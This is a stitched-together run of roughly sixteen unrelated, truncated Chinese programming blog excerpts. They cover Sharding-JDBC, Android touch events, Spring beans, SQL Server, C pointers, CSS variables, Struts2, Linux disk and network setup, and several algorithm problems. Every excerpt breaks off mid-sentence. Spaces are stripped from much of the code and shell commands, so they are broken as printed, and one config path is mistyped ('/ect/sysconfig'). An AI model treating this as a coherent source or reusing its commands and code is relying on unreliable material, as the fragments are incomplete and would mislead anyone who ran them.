本文主要基于Sharding-JDBC1.5.0正式版1.概述2.KeyGenerator2.1DefaultKeyGenerator2.2HostNameKeyGenerator2.3IPKeyGenerator2.4IPSectionKeyGenerator1.概述本文分享Sharding-JDBC分布式主键实现。官方文档《分布式主键》对其介绍及使用方式介绍很完整,强烈先阅读。下面先引用下分布式主键的实现动机:传统数据库软件开发中,主键自动生成技术是基本需求。而各大数据库对于该需求也提供了相应的支持,比如MySQL的自增键。对于MySQL而言,分库分表之后,不同表生成全局唯一的Id是非常棘手的问题。因为同一个逻辑表内的不同实际表之间的自增键是无法互相感知的,这样会造成重复Id的生成。我们当然可以通过约束表生成键的规则来达到数据的不重复,但是这需要引入额外的运维力量来解决重复性问题,并使框架缺乏扩展性。 目前有许多第三方解决方案可以完美解决这个问题,比如UUID等依靠特定算法自生成不重复键,或者通过引入Id生成服务等。但也正因为这种多样性导致了Sharding-JDBC如果强依赖于任
继上一篇分析,今天我们来接着分析Activity的Touch事件是如何分发传递的。都知道在Android中的事件主要包括三部分内容:分发事件dispatchTouchEvent、拦截事件onInterceptTouchEvent、消费事件onTouchEvent。这几乎是所有开发者都要面临的问题,无论是解决一些事件冲突问题,还是自定义View,都会或多或少涉及到。由于其独特的重要性,大多数面试的时候也基本会有所涉及,所以很好的掌握View的Touch事件传递显得尤其重要。1、Activity的dispatchTouchEvent首先来看Activity的dispatchTouchEvent方法:Activity的dispatchTouchEvent如果事件为按下状态,则先调用onUserInteraction方法:Activity的onUserInteraction方法该方法为空,从注释可以知道,当此activity在栈顶时,触屏点击按home、back、menu键等都会触发此方法,一般会用于屏保。接着调用了getWindow().superDispatchTouchEvent(ev)
自从Web应用程序自1993年W3C设立以来就开始发展,而且HTML也历经了数个版本的演化(1.0–2.0–3.0–3.2–4.0–4.01),现在也已经成为Web网页或应用程序的最基础,想要学习如何设计Web网页或开发Web应用程序,这已经是绝对必须要学的东西了,就算是方便的控件(例如ASP.NET),但HTML仍然有学习它的必要性,因此如果不会HTML,就等于没学过Web网页一般。拜HTML与Web浏览器蓬勃发展之赐,各式各样的应用都在网络上迅速发展,举凡电子商务、企业门户、在线下单、企业间协同应用等,乃至于社交、个性化、Web2.0等商务与组织运用等能力,而在信息爆炸的时代,很多信息整合的应用也随之出炉,而这些信息整合的应用程序都会连接到不同的网站下载其信息,并且在重重的HTML中剖析出想要的数据(例如每股价格、涨跌幅、成交量等)。但是HTML本身并不是一个结构严谨的语言,它允许卷标(tag)可以在不close的情况下继续使用。这也是因为浏览器设计的高容错性(FaultTolerance)所致,如此一来,想要依照规则来剖析HTML文件几乎变得不可能,而且对方的网站的HTML结构也
Bean生命周期底层原理 ?生命不息,写作不止 ?继续踏上学习之路,学之分享笔记 ?总有一天我也能像各位大佬一样 ?一个有梦有戏的人@怒放吧德德 ?分享学习心得,欢迎指正,大家一起学习成长! 前言 上次学到动手模拟Spring底层实现,简单学习了一下Spring,对spring有所了解,接着就来分析spring中bean的生命周期的步步流程。 流程 接下来会根据Bean生命周期一步一步去学习,spring在创建bean对象的过程中,还是做了许多的操作,从依赖注入,通过初始化以及前后操作,最后创建了bean对象放入Map单例池,对于多例是不放进去的。 本次实验使用的pom依赖坐标如下 <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context</artifactId> <version>5.3.15</version> </dependency> <dependency> &l
【最大环】 1504:【例1】WordRings 将一个字符串看成一条边,字符两端的字符看成节点,长度看成权值。二分枚举答案,最后SPFA刷正环,因为只要有一个正环存在就可以了。把每个单词视为一条边,由开头两字母指向结尾两字母,边权为单词长度。则原问题转化为求一个最优比率环。(和最优比率生成树很像哈)可以利用二分答案+spfa判环来解决。点最多有26*26个,边最多1e5.dfs版spfa判环就是快。。若不存在环串,输出Nosolution,否则输出最长的环串的平均长度。 QUS:为什么不是单词之间连边? 这样做最坏情况下会有105个点,1010条边,时间和空间都会承受不了 换一种建图的方式: 对于每一个单词,将它的前两个字符和后两个字符之间连一条长度为当前单词的长度的边。 稍微思考一下就会发现这种建图方式其实是和第一种等价的。 建完图后,这个问题就变成了一个01分数规划问题,要求的是∑单词长度总和/∑单词个数的最大值。 然后就是一些基本操作:二分答案+SPFA找正环。 注意SPFA时需要加一些优化: 记录一下进行过松弛操作的点的数量,如果所有的点都已经做过了,就说明很大可能存在一个
基本术语 折叠系统存储过程 以sp_开头,用来进行系统的各项设定.取得信息.相关管理工作。 折叠本地存储过程 用户创建的存储过程是由用户创建并完成某一特定功能的存储过程,事实上一般所说的存储过程就是指本地存储过程。 折叠临时存储过程 分为两种存储过程: 一是本地临时存储过程,以井字号(#)作为其名称的第一个字符,则该存储过程将成为一个存放在tempdb数据库中的本地临时存储过程,且只有创建它的用户才能执行它; 二是全局临时存储过程,以两个井字号(##)号开始,则该存储过程将成为一个存储在tempdb数据库中的全局临时存储过程,全局临时存储过程一旦创建,以后连接到服务器的任意用户都可以执行它,而且不需要特定的权限。 折叠远程存储过程 在SQLServer2005中,远程存储过程(RemoteStoredProcedures)是位于远程服务器上的存储过程,通常可以使用分布式查询和EXECUTE命令执行一个远程存储过程。 折叠扩展存储过程 扩展存储过程(ExtendedStoredProcedures)是用户可以使用外部程序语言编写的存储过程,而且扩展存储过程的名称通常以
版权声明:本文为博主原创文章,未经博主允许不得转载 最近在复习《数据结构与算法》方面的知识,但是绝大多数数据结构的书籍都是以伪代码/类C语言的形式来描述算法的,当然也有少数C语言的版本。但是在C语言的算法描述中,由于C语言没有像C++一样的引用变量,因此出现了所谓的“二级指针”,很多C语言和数据结构的小白们对此不解;再者有的教材中(比如清华版严蔚敏的《数据结构》)用了类C的伪代码来描述数据结构和算法,为了描述的方面,引入了C++的引用变量,但是有的同学在学数据结构的时候还没有学习C++程序设计语言,对引用感到陌生,因此我想在此详细解释一下。 数据结构中的二级指针 指针概述 我们知道,C/C++中的指针变量也是一种变量,因此指针变量本身也是有地址的。不过这种变量比较特殊---只能用来保存一些变量/内存块的地址值,例如: int*pt; 复制 上面定义了一个int型的指针变量pt,该变量pt的内存单元可以用来保存一个int型变量的地址,或者说让pt指向变量a,比如 inta=2017; pt=&a; 复制 可以用下图1来表示这种关系: 如果需要用一个“变量”来保存指针变量pt
CSS自定义属性 CSS自定义属性现在也不算什么稀罕物了。自从浏览器开始支持以来,就能通过 JavaScript 操作自定义属性值。 具体来说,用JavaScript操作自定义属性有以下几种方式。第一个是 setProperty : document.documentElement.style.setProperty("--padding",124+"px");//124px复制 还可以用 getComputedStyle ,原因很简单:自定义属性也是样式的一部分,因此也属于计算样式的一部分。 getComputedStyle(document.documentElement).getPropertyValue('--padding')//124px复制 同样,还可以用 getPropertyValue 。它可以获取 html 元素的行内样式值: document.documentElement.style.getPropertyValue("--padding'");//124px复制
参照:http://jingyan.baidu.com/article/915fc414fd94fb51394b208e.html 一、插件下载:http://struts.apache.org/download.cgi#struts23241 下载struts-2.3.24.1,apps\struts2-blank.war拷到jdk下新建strutsapp目录,使用jar命令解压 C:\WINDOWS\system32>cdC:\ProgramFiles(x86)\Java\jdk1.8.0_45\strutsapp(win7以上以管理员用户打开cmd) C:\ProgramFiles(x86)\Java\jdk1.8.0_45\strutsapp>..\bin\jarxvfstruts2-blank.war 二.使用Eclipse搭建Struts2的开发环境 1.创建用户库,将Struts2所需的包建成用户库,可以更加方便地进行管理和使用; 2.打开Eclipse,选择菜单Window->Preferences->Java->
1//使用空集合替代NULL 2publicclassUserService{ 3privateUserRepouserRepo;//依赖注入 4 5publicList<User>getUsers(StringtelephonePrefix){ 6//没有查找到数据 7returnCollections.emptyList(); 8} 9} 10//getUsers使用示例 11List<User>users=userService.getUsers("189"); 12for(Useruser:users){//这里不需要做NULL值判断 13//... 14} 15 16//使用空字符串替代NULL 17publicStringretrieveUppercaseLetters(Stringtext){ 18//如果text中没有大写字母,返回空字符串,而非NULL值 19return""; 20} 21//retrieveUppercaseLetters()使用举例 22StringuppercaseLetters=retrieveUppercaseLet
pickedfrom: http://blog.sina.com.cn/s/blog_71e266c20100lw0q.html 函数指针数组的定义方法,有两种:一种是标准的方法;一种是蒙骗法。 第一种,标准方法: 分析:函数指针数组是一个其元素是函数指针的数组。那么也就是说,此数据结构是是一个数组,且其元素是一个指向函数入口地址的指针。根据分析:首先说明是一个数组:数组名[]其次,要说明其元素的数据类型指针:*数组名[].再次,要明确这每一个数组元素是指向函数入口地址的指针:函数返回值类型 (*数组名[])().请注意,这里为什么要把“*数组名[]”用括号扩起来呢?因为圆括号和数组说明符的优先级是等同的,如果不用圆括号把指针数组说明表达式扩起来,根据圆括号和方括号的结合方向,那么*数组名[]()说明的是什么呢?是元素返回值类型为指针的函数数组。有这样的函数数祖吗?不知道。所以必须括起来,以保证数组的每一个元素是指针。 第二种,蒙骗法: 尽管函数不是变量,但它在内存中仍有其物理地址,该地址能够赋给指针变量。获取函数方法是:用不带有括号和参数的函数名得到。函数名相当于
前言:ubantu为Linux发行版之一,此方法亦可制作其他Linux发行版 1、在磁盘工具中将准备好的u盘格式化为MacOS扩展(日志型),并确保分区的模式是GUID分区 2、官网自行下载ubantu ISO镜像文件,制作启动盘需要IMG格式,可以使用hdiutil命令工具进行转换 3、hdiutil命令:hdiutilconvert-formatUDRW-o~/Path-to-IMG-file~/Path-to-ISO-file通常下载的文件会在~/Downloads目录下。所以输 入的命令是: hdiutilconvert-formatUDRW-o~/Downloads/ubuntu-14.10-desktop-amd64~/Downloads/ubuntu-14.10-desktop-amd64.iso 值得注意的是,并没有新转换出的文件加上IMG后缀,因为后缀只是个标志,重要的是文件类型并不是文件的扩展名。转换出来的文件可能会 被Mac OS X系统自动加上个.dmg后缀。 4、获得U
参考:http://help.aliyun.com/knowledge_detail/5974154.html?spm=5176.788314850.3.2.hUqwXo 1、在阿里云上购买了服务器,又另外买了一块数据盘,这个时候就需要对数据盘进行分区和格式化。 2、使用ssh连接到云服务器,查看数据盘。 1)在没有分区和格式化数据盘之前,使用“df–h”命令,是无法看到数据盘的,如下: [root@iZ94jj63a3sZ~]#df-h FilesystemSizeUsedAvailUse%Mountedon /dev/xvda120G1.4G18G8%/ tmpfs3.9G03.9G0%/dev/shm [root@iZ94jj63a3sZ~]#复制 2)使用“fdisk-l”命令查看 [root@iZ94jj63a3sZ~]#fdisk-l Disk/dev/xvda:21.5GB,21474836480bytes 255heads,63sectors/track,2610cylinders Units=cylindersof16065
BST以下BST的定义来自于Wikipedia:BinarySearchTree,isanode-basedbinarytreedatastructurewhichhasthefollowingproperties:Theleftsubtreeofanodecontainsonlynodeswithkeyslessthanthenode’skey.Therightsubtreeofanodecontainsonlynodeswithkeysgreaterthanthenode’skey.Theleftandrightsubtreeeachmustalsobeabinarysearchtree.Theremustbenoduplicatenodes.二叉搜索树keys有序的性质使得搜索、查找最小值、查找最大值可以迅速完成,如果没有这个ordering,我们就不得不用指定key与二叉树中的每一个key进行比较。SearchingakeyTosearchagivenkeyinBianrySearchTree,wefirstcompareitwithroot,ifthekeyispresent
1、复制的虚拟机启动前一定要先生成一下mac地址!!! 2、开机后设置网络IP cd/ect/sysconfig/network-scripts viifcfg-ens33复制 TYPE=EthernetPROXY_METHOD=noneBROWSER_ONLY=noBOOTPROTO=staticDEFROUTE=yesIPV4_FAILURE_FATAL=noIPV6INIT=yesIPV6_AUTOCONF=yesIPV6_DEFROUTE=yesIPV6_FAILURE_FATAL=noIPV6_ADDR_GEN_MODE=stable-privacyNAME=ens33UUID=3cfc2ba4-df11-4c94-98b0-2292a9e123456DEVICE=ens33ONBOOT=yesIPADDR=192.168.1.250NETMASK=255.255.255.0GATEWAY=192.168.1.1DNS1=114.114.114.114
给定一个整数数组nums,找出一个序列中乘积最大的连续子序列(该序列至少包含一个数)。 示例1: 输入:[2,3,-2,4] 输出:6 解释:子数组[2,3]有最大乘积6。 复制 示例2: 输入:[-2,0,-1] 输出:0 解释:结果不能为2,因为[-2,-1]不是子数组。 复制 https://leetcode-cn.com/problems/maximum-product-subarray/ 动态规划 其实这道题最直接的方法就是用DP来做,而且要用两个dp数组, 其中f[i]表示子数组[0,i]范围内并且一定包含nums[i]数字的最大子数组乘积, g[i]表示子数组[0,i]范围内并且一定包含nums[i]数字的最小子数组乘积, 初始化时f[0]和g[0]都初始化为nums[0],其余都初始化为0。 那么从数组的第二个数字开始遍历,那么此时的最大值和最小值只会在这三个数字之间产生, 即f[i-1]*nums[i],g[i-1]*nums[i],和nums[i]。 所以用三者中的最大值来更新f[i],用最小值来更新g[i],然后用f[i]来更新结果res即可,由于最终的结果不一定